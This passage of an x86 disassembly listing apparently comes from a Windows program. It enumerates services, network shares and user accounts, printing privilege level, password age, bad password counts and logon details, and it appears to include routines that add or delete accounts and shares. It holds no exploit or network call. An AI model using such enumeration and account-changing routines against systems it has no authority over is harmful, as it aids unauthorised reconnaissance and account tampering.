		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40B596
; ---------------------------------------------------------------------------


loc_40B512:				; CODE XREF: sub_40B479+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B519:				; CODE XREF: sub_40B479+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B520:				; CODE XREF: sub_40B479+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B527:				; CODE XREF: sub_40B479+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B52E:				; CODE XREF: sub_40B479+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40B5A4 ; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40B591
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40B5A4 ; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40B5E5[ecx]
		jmp	off_40B5BD[ecx*4] ; switch jump


loc_40B552:				; DATA XREF: seg001:off_40B5BDo
		push	offset aTheSpecifiedDa ; jumptable 0040B54B case 7
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B559:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheServiceDepe ; jumptable 0040B54B case 17
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B560:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheServiceDe_0 ; jumptable 0040B54B case 10
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B567:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheServiceHasB ; jumptable 0040B54B case 0
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B56E:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheSpecified_0 ; jumptable 0040B54B case 2
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B575:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheServiceCoul ; jumptable 0040B54B case 11
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B57C:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheServiceHa_0 ; jumptable 0040B54B case 14
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B583:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheRequested_1 ; jumptable 0040B54B case 3
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B58A:				; CODE XREF: sub_40B479+D2j
					; DATA XREF: seg001:off_40B5BDo
		push	offset aTheServiceHasN ; jumptable 0040B54B case 4
		jmp	short loc_40B596
; ---------------------------------------------------------------------------


loc_40B591:				; CODE XREF: sub_40B479+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40B596:				; CODE XREF: sub_40B479+41j
					; sub_40B479+4Bj ...
		push	offset dword_450FE8
		call	sub_413812
		pop	ecx
		pop	ecx
		jmp	short loc_40B5B7
; ---------------------------------------------------------------------------


loc_40B5A4:				; CODE XREF: sub_40B479+36j
					; sub_40B479+89j ...
		push	eax		; default
					; jumptable 0040B54B cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_450FE8
		call	sub_413812
		add	esp, 0Ch


loc_40B5B7:				; CODE XREF: sub_40B479+129j
		mov	eax, offset dword_450FE8
		retn
sub_40B479	endp

; ---------------------------------------------------------------------------
off_40B5BD	dd offset loc_40B567	; DATA XREF: sub_40B479+D2r
		dd offset loc_40B56E	; jump table for switch	statement
		dd offset loc_40B583
		dd offset loc_40B58A
		dd offset loc_40B552
		dd offset loc_40B560
		dd offset loc_40B575
		dd offset loc_40B57C
		dd offset loc_40B559
		dd offset loc_40B5A4
byte_40B5E5	db	0,     9,     1,     2 ; DATA XREF: sub_40B479+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5F7	proc near		; CODE XREF: sub_40CC09+1C85p

var_28C		= byte ptr -28Ch
var_288		= byte ptr -288h
var_124		= byte ptr -124h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_44CCD0	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 14h


loc_40B62F:				; CODE XREF: sub_40B5F7+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_44CCA0	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40B669
		call	dword_41F06C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40B71D


loc_40B669:				; CODE XREF: sub_40B5F7+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40B714
		lea	esi, [ebp+var_288]


loc_40B67A:				; CODE XREF: sub_40B5F7+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40B6C3
		dec	eax
		jz	short loc_40B6BC
		dec	eax
		jz	short loc_40B6B5
		dec	eax
		jz	short loc_40B6AE
		dec	eax
		jz	short loc_40B6A7
		dec	eax
		jz	short loc_40B6A0
		dec	eax
		jz	short loc_40B699
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B699:				; CODE XREF: sub_40B5F7+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6A0:				; CODE XREF: sub_40B5F7+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6A7:				; CODE XREF: sub_40B5F7+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6AE:				; CODE XREF: sub_40B5F7+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6B5:				; CODE XREF: sub_40B5F7+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6BC:				; CODE XREF: sub_40B5F7+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40B6C8
; ---------------------------------------------------------------------------


loc_40B6C3:				; CODE XREF: sub_40B5F7+87j
		push	offset aStopped	; "    Stopped"


loc_40B6C8:				; CODE XREF: sub_40B5F7+A0j
					; sub_40B5F7+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_413812
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_124]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_124]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40B67A


loc_40B714:				; CODE XREF: sub_40B5F7+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40B62F


loc_40B71D:				; CODE XREF: sub_40B5F7+6Cj
		push	[ebp+var_C]
		call	dword_44CBF0	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40B5F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B734	proc near		; CODE XREF: sub_40CC09:loc_40E945p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40B7CD
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40B75D
		dec	eax
		jnz	short loc_40B7AD
		push	edi
		push	0
		call	sub_40B906
		pop	ecx
		pop	ecx
		jmp	short loc_40B7A9
; ---------------------------------------------------------------------------


loc_40B75D:				; CODE XREF: sub_40B734+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40B79B
		push	24h
		push	edi
		call	sub_415BA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B79B
		push	57h
		pop	eax


loc_40B774:				; CODE XREF: sub_40B734+77j
		push	eax
		call	sub_40C0DE
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4511A4
		push	off_4294F0[eax*4]
		push	offset unk_429BFC
		push	esi
		call	sub_413812
		add	esp, 18h
		jmp	short loc_40B7ED
; ---------------------------------------------------------------------------


loc_40B79B:				; CODE XREF: sub_40B734+2Dj
					; sub_40B734+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40B85A
		add	esp, 0Ch


loc_40B7A9:				; CODE XREF: sub_40B734+27j
		test	eax, eax
		jnz	short loc_40B774


loc_40B7AD:				; CODE XREF: sub_40B734+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4511A4
		push	off_4294F4[eax*4]
		push	offset unk_429BCC
		push	esi
		call	sub_413812
		add	esp, 10h
		jmp	short loc_40B7ED
; ---------------------------------------------------------------------------


loc_40B7CD:				; CODE XREF: sub_40B734+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4511A4
		lea	eax, [eax+eax*2]
		push	off_4294F0[eax*4]
		push	offset unk_429B94
		push	esi
		call	sub_413812
		add	esp, 0Ch


loc_40B7ED:				; CODE XREF: sub_40B734+65j
					; sub_40B734+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40B734	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7F3	proc near		; CODE XREF: seg001:00412F23p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40B800
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B800:				; CODE XREF: sub_40B7F3+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_41F10C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4512A3, 1
		mov	ebp, eax
		jnz	short loc_40B83D
		or	byte_4512A3, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_414905
		pop	ecx
		mov	dword_451144, eax


loc_40B83D:				; CODE XREF: sub_40B7F3+32j
		push	esi
		push	esi
		push	ebp
		push	dword_451144
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_451144
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40B7F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B85A	proc near		; CODE XREF: sub_40B734+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40B8C5
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40B8C5
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_415BA0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40B8C5
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_44CBEC
		pop	edi
		leave
		retn
sub_40B85A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B8C5	proc near		; CODE XREF: sub_40B85A+Ap
					; sub_40B85A+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40B8D2
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B8D2:				; CODE XREF: sub_40B8C5+9j
		push	ebx
		push	esi
		mov	esi, dword_41F110
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_414905
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40B8C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B906	proc near		; CODE XREF: sub_40B734+20p
					; seg001:00412E99p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40B8C5
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40B8C5
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_44CBC8
		pop	esi
		retn
sub_40B906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B929	proc near		; CODE XREF: sub_40CC09+1D68p

var_110		= byte ptr -110h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_40B8C5
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 18h


loc_40B962:				; CODE XREF: sub_40B929+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_44CC38
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_40B9C5
		cmp	ebx, 0EAh
		jz	short loc_40B9C5
		push	ebx
		push	ebx
		call	sub_40C0DE
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	offset unk_429C58
		push	eax
		call	sub_413812
		push	esi
		lea	eax, [ebp+var_110]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 24h
		jmp	short loc_40BA32
; ---------------------------------------------------------------------------


loc_40B9C5:				; CODE XREF: sub_40B929+5Dj
					; sub_40B929+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_40BA29
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_40B9D3:				; CODE XREF: sub_40B929+FCj
		push	dword ptr [esi+10h]
		call	dword_44CBE0	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset off_429C54
		jnz	short loc_40B9EA
		mov	eax, offset aNo	; "No"


loc_40B9EA:				; CODE XREF: sub_40B929+BAj
		push	eax
		lea	eax, [ebp+var_110]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_110]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B5
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_40B9D3
		xor	esi, esi


loc_40BA29:				; CODE XREF: sub_40B929+A2j
		push	[ebp+var_4]
		call	dword_44CD68


loc_40BA32:				; CODE XREF: sub_40B929+9Aj
		cmp	ebx, 0EAh
		jz	loc_40B962
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_40B929	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA4A	proc near		; CODE XREF: sub_40CC09:loc_40E9E7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_40BAEE
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_40BA8C
		dec	eax
		jz	short loc_40BA81
		dec	eax
		jnz	short loc_40BAA7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_40BB90
		add	esp, 14h
		jmp	short loc_40BAA3
; ---------------------------------------------------------------------------


loc_40BA81:				; CODE XREF: sub_40BA4A+1Dj
		push	ebx
		push	edi
		call	sub_40BB6F
		pop	ecx
		pop	ecx
		jmp	short loc_40BAA3
; ---------------------------------------------------------------------------


loc_40BA8C:				; CODE XREF: sub_40BA4A+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_40BAA0
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_40BB15
		add	esp, 0Ch
		jmp	short loc_40BAA3
; ---------------------------------------------------------------------------


loc_40BAA0:				; CODE XREF: sub_40BA4A+45j
		push	57h
		pop	eax


loc_40BAA3:				; CODE XREF: sub_40BA4A+35j
					; sub_40BA4A+40j ...
		cmp	eax, edi
		jnz	short loc_40BAC7


loc_40BAA7:				; CODE XREF: sub_40BA4A+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4512A4
		push	off_4294F4[eax*4]
		push	offset unk_429D40
		push	esi
		call	sub_413812
		add	esp, 10h
		jmp	short loc_40BB0E
; ---------------------------------------------------------------------------


loc_40BAC7:				; CODE XREF: sub_40BA4A+5Bj
		push	eax
		call	sub_40C0DE
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4512A4
		push	off_4294F0[eax*4]
		push	offset unk_429D00
		push	esi
		call	sub_413812
		add	esp, 18h
		jmp	short loc_40BB0E
; ---------------------------------------------------------------------------


loc_40BAEE:				; CODE XREF: sub_40BA4A+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4512A4
		lea	eax, [eax+eax*2]
		push	off_4294F0[eax*4]
		push	offset unk_429CC8
		push	esi
		call	sub_413812
		add	esp, 0Ch


loc_40BB0E:				; CODE XREF: sub_40BA4A+7Bj
					; sub_40BA4A+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40BA4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB15	proc near		; CODE XREF: sub_40BA4A+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_40B8C5
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40B8C5
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_40B8C5
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_44CBD0
		pop	edi
		leave
		retn
sub_40BB15	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB6F	proc near		; CODE XREF: sub_40BA4A+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_40B8C5
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_40B8C5
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_44CBC4
		pop	esi
		retn
sub_40BB6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB90	proc near		; CODE XREF: sub_40BA4A+2Dp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_40B8C5
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40B8C5
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_44CD30
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_40BF1D
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_40BF58
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_104]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_413812
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_104]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_104]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_104]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_40BCA9
		dec	eax
		jz	short loc_40BCA2
		dec	eax
		jz	short loc_40BC9B
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40BCAE
; ---------------------------------------------------------------------------


loc_40BC9B:				; CODE XREF: sub_40BB90+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40BCAE
; ---------------------------------------------------------------------------


loc_40BCA2:				; CODE XREF: sub_40BB90+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40BCAE
; ---------------------------------------------------------------------------


loc_40BCA9:				; CODE XREF: sub_40BB90+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40BCAE:				; CODE XREF: sub_40BB90+109j
					; sub_40BB90+110j ...
		push	eax
		lea	eax, [ebp+var_104]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_104]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_104]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_104]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_104]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_104]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_104]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_104]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_104]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_104]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_104]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_104]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_104]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_104]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_40B2B5
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_104]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
